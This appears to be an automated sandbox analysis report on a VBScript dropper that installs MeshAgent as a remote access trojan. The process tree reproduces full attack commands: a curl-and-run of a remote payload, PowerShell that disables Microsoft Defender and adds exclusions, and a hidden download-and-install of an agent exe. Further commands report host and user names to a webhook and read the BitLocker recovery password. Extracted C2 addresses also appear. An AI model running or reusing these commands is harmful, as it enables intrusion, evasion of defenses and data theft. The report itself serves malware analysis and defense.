Overview

overview

10

Static

static

1

c81b0dbc32...11.vbs

windows10-2004-x64

10

c81b0dbc32...11.vbs

windows11-ltsc_2024-x64

10

Analysis

  • max time kernel
    148s
  • max time network
    144s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    20/10/2026, 23:12

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    c81b0dbc32f3bc8a57509b6f3ff0c029e4278f0a8f09238fed585f32b4159c11.vbs
  • Size 1KB
  • Sample261020-267dfade95
  • SHA256 c81b0dbc32f3bc8a57509b6f3ff0c029e4278f0a8f09238fed585f32b4159c11
  • MD5 SHA1 SHA512 TLSH
Score
10/10
backdoormydevicesdefense_evasiondiscoveryexecutionmeshagentpersistencerattrojan

Malware Config

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    https://dashboard.gsresponder.co/admin62/meshagents?id=4&meshid=6baa3876eb71d48a5615780e05d5f29b4f9d8106c0374fb480d14b6a3ee92a2f

Extracted

Family

  • meshagent

Version

  • 2

Botnet

  • MyDevices

C2

  • http://dashboard.gsresponder.online:443/admin62/agent.ashx

Attributes
  • mesh_id

    0xE9B69ADFCEFA79BEF5778F1AE7AD79EFCD1ED397797F6F5BE1FF5DF35D3A734DFBE1F6F8F34775E1BE9ADDE7BDD9AD9F

  • server_id

    8F2CE8AB4514031CA12E1B4DDF3D00B0C94F8143B3267256F97AF4BAB9E89F231B16B3F4E525FCF2BC1487F857C2F4FB

  • wss

    wss://dashboard.gsresponder.online:443/admin62/agent.ashx

Signatures

  • Family: MeshAgent

    MeshAgent is an open source remote access trojan written in C++.

    rattrojanbackdoormeshagent
  • Detects MeshAgent payload 1 IoCs
  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

    Run Powershell and hide display window.

    execution
  • Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

    Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

    defense_evasion
  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

    persistence
  • Executes dropped EXE 3 IoCs
  • Stops running service(s) 4 TTPs
    defense_evasionexecution
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Indicator Removal: File Deletion 1 TTPs

    Adversaries may delete files left behind by the actions of their intrusion activity.

    defense_evasion
  • Drops file in System32 directory 64 IoCs
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 3 IoCs
    execution
  • Drops file in Program Files directory 64 IoCs
  • Drops file in Windows directory 2 IoCs
  • Hide Artifacts: Ignore Process Interrupts 1 TTPs 1 IoCs

    Command interpreters often include specific commands/flags that ignore errors and other hangups.

    defense_evasion
  • Launches sc.exe 2 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 4 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

    discovery
  • Kills process with taskkill 1 IoCs
    defense_evasion
  • Modifies data under HKEY_USERS 50 IoCs
  • Suspicious behavior: EnumeratesProcesses 14 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 21 IoCs
  • cURL User-Agent 1 IoCs

    Uses User-Agent string associated with cURL utility.

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\c81b0dbc32f3bc8a57509b6f3ff0c029e4278f0a8f09238fed585f32b4159c11.vbs"
    1⤵
    • Executes a VBScript file via the Windows Script Host.
    • Suspicious use of WriteProcessMemory
    PID:2808
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c curl -s -o "%TEMP%\omy7f133.vbs" "https://wrapper.reverendtoppd.xyz/payload.php?id=a18034d3bbdc63cf09f95e4cde0a9153&t=1b6d40cd77124389"&wscript "%TEMP%\omy7f133.vbs"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:5952
      • C:\Windows\system32\curl.exe
        curl -s -o "C:\Users\Admin\AppData\Local\Temp\omy7f133.vbs" "https://wrapper.reverendtoppd.xyz/payload.php?id=a18034d3bbdc63cf09f95e4cde0a9153&t=1b6d40cd77124389"
        3⤵
          PID:1416
        • C:\Windows\system32\wscript.exe
          wscript "C:\Users\Admin\AppData\Local\Temp\omy7f133.vbs"
          3⤵
          • Executes a VBScript file via the Windows Script Host.
          • Suspicious use of WriteProcessMemory
          PID:6068
          • C:\Windows\System32\wscript.exe
            "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\omy7f133.vbs" elevated
            4⤵
            • Executes a VBScript file via the Windows Script Host.
            • Suspicious use of WriteProcessMemory
            PID:5812
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W H -C "Set-MpPreference -DisableRealtimeMonitoring $true -ErrorAction SilentlyContinue"
              5⤵
              • Command and Scripting Interpreter: PowerShell
              • Disables one or more Microsoft Defender components
              • Hide Artifacts: Ignore Process Interrupts
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:3888
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W H -C "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp' -ErrorAction SilentlyContinue"
              5⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:5940
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W H -C "Add-MpPreference -ExclusionPath 'C:\Program Files\Mesh Agent' -ErrorAction SilentlyContinue"
              5⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:4344
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" /c taskkill /F /IM MeshAgent.exe /T
              5⤵
              • Executes a command shell one-liner
              • Suspicious use of WriteProcessMemory
              PID:6120
              • C:\Windows\system32\taskkill.exe
                taskkill /F /IM MeshAgent.exe /T
                6⤵
                • Kills process with taskkill
                PID:1656
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" /c sc stop "Mesh Agent"
              5⤵
              • Executes a command shell one-liner
              • Suspicious use of WriteProcessMemory
              PID:4176
              • C:\Windows\system32\sc.exe
                sc stop "Mesh Agent"
                6⤵
                • Launches sc.exe
                PID:2164
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" /c sc delete "Mesh Agent"
              5⤵
              • Executes a command shell one-liner
              • Suspicious use of WriteProcessMemory
              PID:2632
              • C:\Windows\system32\sc.exe
                sc delete "Mesh Agent"
                6⤵
                • Launches sc.exe
                PID:2488
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" /c rmdir /S /Q "C:\Program Files\Mesh Agent"
              5⤵
                PID:2528
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" /c rmdir /S /Q "C:\Program Files\GsResponder\Mesh Agent"
                5⤵
                  PID:2368
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W H -C "try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; $wc = New-Object System.Net.WebClient; $wc.DownloadFile('https://dashboard.gsresponder.co/admin62/meshagents?id=4&meshid=6baa3876eb71d48a5615780e05d5f29b4f9d8106c0374fb480d14b6a3ee92a2f', 'C:\Users\Admin\AppData\Local\Temp\gs_agent.exe'); if (Test-Path 'C:\Users\Admin\AppData\Local\Temp\gs_agent.exe') { $p = Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\gs_agent.exe' -ArgumentList '-fullinstall' -Wait -PassThru -WindowStyle Hidden; if ($p.ExitCode -eq 0) { $wh = 'https://dashboard.gsresponder.co/files/webhooks/new-device.php?host=' + $env:COMPUTERNAME + '&user=' + $env:USERNAME + '&domain=admin62&mesh=Unknown'; try { $wc.DownloadString($wh) } catch {} } } } catch { exit 1 }"
                  5⤵
                  • Badlisted process makes network request
                  • Command and Scripting Interpreter: PowerShell
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of WriteProcessMemory
                  PID:3816
                  • C:\Users\Admin\AppData\Local\Temp\gs_agent.exe
                    "C:\Users\Admin\AppData\Local\Temp\gs_agent.exe" -fullinstall
                    6⤵
                    • Sets service image path in registry
                    • Executes dropped EXE
                    • Drops file in Program Files directory
                    • Reads the TCP/IP host and domain name from the registry
                    PID:4264
        • C:\Windows\system32\svchost.exe
          C:\Windows\system32\svchost.exe -k GPSvcGroup
          1⤵
            PID:3400
          • C:\Program Files\Mesh Agent\MeshAgent.exe
            "C:\Program Files\Mesh Agent\MeshAgent.exe"
            1⤵
            • Executes dropped EXE
            • Drops file in System32 directory
            • Drops file in Program Files directory
            • Reads the TCP/IP host and domain name from the registry
            • Modifies data under HKEY_USERS
            • Suspicious use of WriteProcessMemory
            PID:6048
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -noprofile -nologo -command -
              2⤵
              • Command and Scripting Interpreter: PowerShell
              • Drops file in Windows directory
              • Modifies data under HKEY_USERS
              • Suspicious behavior: EnumeratesProcesses
              PID:4296
            • C:\Program Files\Mesh Agent\MeshAgent.exe
              MeshAgent.exe -b64exec dHJ5IHsgYWRkTW9kdWxlKCd3aW4tZGVza3V0aWxzJywgcHJvY2Vzcy5lbnZbJ3dpbl9kZXNrdXRpbHMnXSk7fSBjYXRjaCAoeCkgeyB9IHZhciB4O3RyeXt4PXJlcXVpcmUoJ3dpbi1kZXNrdXRpbHMnKS5kaXNwYXRjaCgnaWRsZScsICdnZXRTZWNvbmRzJywgW10pO2NvbnNvbGUubG9nKHgpO31jYXRjaCh6KXtjb25zb2xlLmxvZyh6KTtwcm9jZXNzLmV4aXQoMSk7fXByb2Nlc3MuZXhpdCgwKTs=
              2⤵
              • Executes dropped EXE
              • Drops file in Program Files directory
              PID:1724
            • C:\Windows\system32\cmd.exe
              /c manage-bde -protectors -get C: -Type recoverypassword
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:1520
              • C:\Windows\system32\manage-bde.exe
                manage-bde -protectors -get C: -Type recoverypassword
                3⤵
                  PID:4660

            Network

                  MITRE ATT&CK Enterprise v16

                  Reconnaissance

                  Resource Development

                  Initial Access

                  Execution

                  Command and Scripting Interpreter

                  3
                  T1059

                  PowerShell

                  1
                  T1059.001

                  Visual Basic

                  1
                  T1059.005

                  Windows Command Shell

                  1
                  T1059.003

                  System Services

                  1
                  T1569

                  Service Execution

                  1
                  T1569.002

                  Persistence

                  Boot or Logon Autostart Execution

                  1
                  T1547

                  Registry Run Keys / Startup Folder

                  1
                  T1547.001

                  Create or Modify System Process

                  2
                  T1543

                  Windows Service

                  2
                  T1543.003

                  Privilege Escalation

                  Boot or Logon Autostart Execution

                  1
                  T1547

                  Registry Run Keys / Startup Folder

                  1
                  T1547.001

                  Create or Modify System Process

                  2
                  T1543

                  Windows Service

                  2
                  T1543.003

                  Defense Evasion

                  Hide Artifacts

                  1
                  T1564

                  Ignore Process Interrupts

                  1
                  T1564.011

                  Impair Defenses

                  2
                  T1562

                  Disable or Modify Tools

                  1
                  T1562.001

                  Indicator Removal

                  1
                  T1070

                  File Deletion

                  1
                  T1070.004

                  Modify Registry

                  1
                  T1112

                  Credential Access

                  Discovery

                  Query Registry

                  1
                  T1012

                  System Information Discovery

                  1
                  T1082

                  System Network Configuration Discovery

                  1
                  T1016

                  Lateral Movement

                  Collection

                  Command and Control

                  Exfiltration

                  Impact

                  Service Stop

                  1
                  T1489

                  Replay Monitor

                  Loading Replay Monitor...

                  Downloads

                  MeshAgent.db
                  • Path C:\Program Files\Mesh Agent\MeshAgent.db
                  • Size 168KB
                  • SHA256 e439fc5fa48ae3deed7324947ad6e5994d3f99c46794f6da70004df78a3fccd0
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  MeshAgent.db
                  • Path C:\Program Files\Mesh Agent\MeshAgent.db
                  • Size 168KB
                  • SHA256 19dfeb3bc0afaff1901858bfde33bea3ce811a5dd29cdb3a02a628cc75083254
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  StartupProfileData-NonInteractive
                  • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                  • Size 1KB
                  • SHA256 b699e97f0868b0b8ae799388aa2d95ea7363a34f2e9cf5a6685ff4d17df64f11
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  StartupProfileData-NonInteractive
                  • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                  • Size 1KB
                  • SHA256 c55479221c31e00c68460058c2df9028d5ccef30720a2e71e4d1b30f69e8ae6b
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  StartupProfileData-NonInteractive
                  • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                  • Size 1KB
                  • SHA256 177e06616404dba726903467964acc7747851dcc8220c628123fb5bb74b730e1
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  __PSScriptPolicyTest_mf1q53h1.sly.psm1
                  • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mf1q53h1.sly.psm1
                  • Size 60B
                  • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  gs_agent.exe
                  • Path C:\Users\Admin\AppData\Local\Temp\gs_agent.exe
                  • Size 3.3MB
                  • SHA256 b54681712757b560841a5a3a759b05638fc876df9cf9e03af5b3b98c354e03fb
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  omy7f133.vbs
                  • Path C:\Users\Admin\AppData\Local\Temp\omy7f133.vbs
                  • Size 4KB
                  • SHA256 7db3557e6376bfa3cd6a8e73c931c556b789ee704b11004a9fbe0515378e32a5
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  211D8B835D53625F88B8B870B286451E99B17AB2
                  • Path C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates\211D8B835D53625F88B8B870B286451E99B17AB2
                  • Size 1KB
                  • SHA256 7a534f58d3cf7002d54adf3cd6b21c25a99535fe72fbf64bc0e68853b4855eae
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  memory/3888-10-0x0000023DEEA50000-0x0000023DEEA5A000-memory.dmp
                  Download

                  memory/3888-9-0x0000023DEEC90000-0x0000023DEED42000-memory.dmp
                  Download

                  memory/3888-8-0x0000023DEEC70000-0x0000023DEEC8E000-memory.dmp
                  Download

                  memory/3888-5-0x0000023DEE9C0000-0x0000023DEE9E2000-memory.dmp
                  Download

                  memory/4296-60-0x0000018BDCB90000-0x0000018BDCBD8000-memory.dmp
                  Download